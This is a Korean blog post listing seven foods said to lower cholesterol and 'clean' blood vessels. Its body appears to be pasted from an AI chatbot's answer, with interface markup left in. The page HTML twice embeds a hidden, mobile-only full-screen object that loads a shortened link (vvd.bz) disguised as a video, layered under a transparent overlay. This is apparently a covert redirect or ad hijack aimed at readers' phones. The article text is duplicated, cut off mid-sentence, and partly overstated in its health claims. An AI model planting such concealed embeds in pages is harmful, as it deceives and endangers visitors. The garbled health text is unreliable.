혈관청소 콜레스테롤 낮추는 음식 7가지

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:33">혈관 청소에 도움을 주는 콜레스테롤 낮추는 음식 7가지</h2><p data-sourcepos="3:1-3:126">혈관 건강은 건강한 삶을 위한 필수 요소입니다. 혈관에 쌓인 노폐물은 심혈관 질환의 주요 원인이 될 수 있으므로, 꾸준히 관리하는 것이 중요합니다. 혈관 청소에 도움을 주는 콜레스테롤 낮추는 음식 7가지를 소개해 드리겠습니다.</p><h3 data-sourcepos="5:1-5:13">1. <strong>사과</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.cyso./shop/item.php?it_id=1634989148"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="사과 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRQ8g69LlPrm6JVhGBTeWah6ihsLoMh9UXiBY-vCjweU64SNPJP0b_B2YK_Fnqx"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.cyso./shop/item.php?it_id=1634989148" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRJXpUBf9VO2rxUWlYu6VbcfSRp6PVFaAyaTAdZtiqMSE6ezFKJO6HGOfWaYPrHW6dpyZJK9VVFU3jftT2tLJ_Z8k0d8UJlHzo"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.cyso.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 사과 </div></div></single-image></response-element></div></h3><p data-sourcepos="9:1-9:103">사과에 풍부한 펙틴은 혈관에 쌓인 콜레스테롤을 흡착하여 체외로 배출하는 데 도움을 줍니다. 또한, 사과에 함유된 항산화 물질은 혈관 손상을 예방하고 혈액순환을 개선하는 효과가 있습니다.</p><h3 data-sourcepos="11:1-11:14">2. <strong>견과류</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://depositphotos.com/ko/photo/nuts-collection-5451771.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 모음 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTzoHnxRtbhlsW5PLB9vsY_zLHq3LNEklgoG3QGLnWRWUAxEHOKGOjigWGO5NUJ"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://depositphotos.com/ko/photo/nuts-collection-5451771.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQ0Q5EZPcfAswKWi6WHs42PUaTkpQItZMfP4Fy8SviCV-hnLHm9LXuTb8BI4q6NUyqkXZB9v-_HRJbQjZ_XjWj1egK73a2kbxygQds"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">depositphotos.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 모음 </div></div></single-image></response-element></div></h3><p data-sourcepos="15:1-15:95">호두, 아몬드, 캐슈넛 등 견과류에는 불포화지방산이 풍부하게 함유되어 있어 혈중 LDL 콜레스테롤 수치를 낮추고 HDL 콜레스테롤 수치를 높여 혈관 건강에 도움을 줍니다.</p><h3 data-sourcepos="17:1-17:17">3. <strong>등푸른 생선</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="등푸른 생선 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT-0yQggEoesEw7drEM6-8Eo2MQIm7HEAgVfYWh_HUWMA4cvFtmpJT76xANLzuS"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 등푸른 생선 </div></div></single-image></response-element></div></h3><p data-sourcepos="21:1-21:106">고등어, 삼치, 연어 등 등푸른 생선에는 오메가-3 지방산이 풍부하여 혈액을 맑게 하고 혈전 생성을 억제하는 효과가 있습니다. 또한, 혈관 염증을 완화하고 혈압을 낮추는 데도 도움을 줍니다.</p><h3 data-sourcepos="23:1-23:12">4. <strong>콩</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.ktxmagazine.kr/essen/article/19717"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="콩 종류 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQQRGTMS0WSB3Wv2m_wrDeQrwH6OY_OSYJK5bG30PRFde_1UaQHXACVCWjE5XOU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.ktxmagazine.kr/essen/article/19717" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTEXRRrAS9W1BXX8peDYm1GGYdHraJw9_5XJjxUz4TAXAYIGkPeo2UwBgk_kZDSZM2ZaUhTml1hh4evVK-xURkn9WdtoFq-ia8Dn1BG"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.ktxmagazine.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩 종류 </div></div></single-image></response-element></div></h3><p data-sourcepos="27:1-27:62">콩에는 식물성 단백질과 식이섬유가 풍부하여 콜레스테롤 수치를 낮추고 포만감을 높여 체중 관리에도 도움을 줍니다.</p><h3 data-sourcepos="29:1-29:13">5. <strong>양파</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%96%91%ED%8C%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="양파 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTxjsdV9fC8RK--q6nP50KsqqT7yYtyFLx1yEqmsOZCt00VksTP7ZjssgvezBT_"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%96%91%ED%8C%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 양파 </div></div></single-image></response-element></div></h3><p data-sourcepos="33:1-33:62">양파에 함유된 퀘르세틴은 혈관 내벽에 쌓인 지방을 제거하고 혈관을 확장시켜 혈액순환을 개선하는 효과가 있습니다.</p><h3 data-sourcepos="35:1-35:13">6. <strong>녹차</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%85%B9%EC%B0%A8"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="녹차 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcScR8dznpdH3edV8xsYUovYbQz8MkJNVCOxNuwNWhRcvGrN9OmHx1XY9HmeHCEa"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%85%B9%EC%B0%A8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 </div></div></single-image></response-element></div></h3><p data-sourcepos="39:1-39:55">녹차에 함유된 카테킨은 혈관 내벽에 콜레스테롤이 쌓이는 것을 막고 혈압을 낮추는 데 도움을 줍니다.</p><h3 data-sourcepos="41:1-41:13">7. <strong>귀리</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.kurly.com/goods/5054674"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="귀리 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSoJMzJ4ZGvPZQ6yXBXHXvacEOV4SJTmnxeiSTukW0a20FbtE-2UcoOhfTbUuPE"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.kurly.com/goods/5054674" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bc1b2462c8e3f012&quot;,&quot;c_3b7ace3c8d41b77d&quot;,null,&quot;rc_a2b0a6e4e6518f2a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSTdBAN7WRYjNyOcUbUBGqmsMtOaI3jTUlITMftIlQCokEXDEgNnccqLmEbAAWX4bhBLHp3e1U8hxe-XPookJ1v82oDPaduhw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.kurly.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 귀리 </div></div></single-image></response-element></div></h3><p data-sourcepos="45:1-45:49">귀리에 함유된 베타-글루칸은 혈중 콜레스테롤 수치를 낮추고 혈당 조절에도 도움을 줍니다.</p><p data-sourcepos="47:1-47:136"><strong>주의사항:</strong> 위에 소개된 음식들은 혈관 건강에 도움이 되지만, 모든 사람에게 동일하게 효과를 나타내는 것은 아닙니다. 개인의 건강 상태에 따라 적절한 식단을 구성하는 것이 중요하며, 질병이 의심될 경우에는 반드시 전문가와 상담해야 합니다.</p><p data-sourcepos="49:1-49:44"><strong>추가적으로 혈관 건강을 위해서는 다음과 같은 생활습관 개선이 필요합니다.</strong></p><ul data-sourcepos="51:1-55:0"> <li data-sourcepos="51:1-51:60"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하여 혈액순환을 개선하고 심혈관 기능을 강화합니다.</li> <li data-sourcepos="52:1-52:53"><strong>금연:</strong> 흡연은 혈관을 수축시키고 혈전 생성을 촉진하여 심혈관 질환의 위험을 높입니다.</li> <li data-sourcepos="53:1-53:55"><strong>절주:</strong> 과도한 음주는 혈압을 상승시키고 지방간을 유발하여 혈관 건강에 악영향을 미칩니다.</li> <li data-sourcepos="54:1-55:0"><strong>스트레스 관리:</strong> 스트레스는 혈압을 높이고 혈관을 손상시키므로 스트레스 관리가 중요합니다.</li> </ul><p data-sourcepos="56:1-57:46"><strong> 추가 요청:</strong> 원하는 음식의 을 더 자세히 보고 싶으시면, 해당 음식의 이름을 알려주세요.</p><p data-sourcepos="59:1-59:191"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. Always consult your doctor for any health concerns.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:33">혈관 청소에 도움을 주는 콜레스테롤 낮추는 음식 7가지</h2><p data-sourcepos="3:1-3:126">혈관 건강은 건강한 삶을 위한 필수 요소입니다. 혈관에 쌓인 노폐물은 심혈관 질환의 주요 원인이 될 수 있으므로, 꾸준히 관리하는 것이 중요합니다. 혈관 청소에 도움을 주는 콜레스테롤 낮추는 음식 7가지를 소개해 드리겠습니다.</p><h3 data-sourcepos="5:1-5:13">1. <strong>사과</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.cyso./shop/item.php?it_id=1634989148"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="사과 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRQ8g69LlPrm6JVhGBTeWah6ihsLoMh9UXiBY-vCjweU64SNPJP0b_B2YK_Fnqx"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.cyso./shop/item.php?it_id=1634989148" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRJXpUBf9VO2rxUWlYu6VbcfSRp6PVFaAyaTAdZtiqMSE6ezFKJO6HGOfWaYPrHW6dpyZJK9VVFU3jftT2tLJ_Z8k0d8UJlHzo"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.cyso.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 사과 </div></div></single-image></response-element></div></h3><p data-sourcepos="9:1-9:103">사과에 풍부한 펙틴은 혈관에 쌓인 콜레스테롤을 흡착하여 체외로 배출하는 데 도움을 줍니다. 또한, 사과에 함유된 항산화 물질은 혈관 손상을 예방하고 혈액순환을 개선하는 효과가 있습니다.</p><h3 data-sourcepos="11:1-11:14">2. <strong>견과류</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://depositphotos.com/ko/photo/nuts-collection-5451771.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="견과류 모음 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTzoHnxRtbhlsW5PLB9vsY_zLHq3LNEklgoG3QGLnWRWUAxEHOKGOjigWGO5NUJ"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://depositphotos.com/ko/photo/nuts-collection-5451771.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ0Q5EZPcfAswKWi6WHs42PUaTkpQItZMfP4Fy8SviCV-hnLHm9LXuTb8BI4q6NUyqkXZB9v-_HRJbQjZ_XjWj1egK73a2kbxygQds"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">depositphotos.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 모음 </div></div></single-image></response-element></div></h3><p data-sourcepos="15:1-15:95">호두, 아몬드, 캐슈넛 등 견과류에는 불포화지방산이 풍부하게 함유되어 있어 혈중 LDL 콜레스테롤 수치를 낮추고 HDL 콜레스테롤 수치를 높여 혈관 건강에 도움을 줍니다.</p><h3 data-sourcepos="17:1-17:17">3. <strong>등푸른 생선</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="등푸른 생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT-0yQggEoesEw7drEM6-8Eo2MQIm7HEAgVfYWh_HUWMA4cvFtmpJT76xANLzuS"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 등푸른 생선 </div></div></single-image></response-element></div></h3><p data-sourcepos="21:1-21:106">고등어, 삼치, 연어 등 등푸른 생선에는 오메가-3 지방산이 풍부하여 혈액을 맑게 하고 혈전 생성을 억제하는 효과가 있습니다. 또한, 혈관 염증을 완화하고 혈압을 낮추는 데도 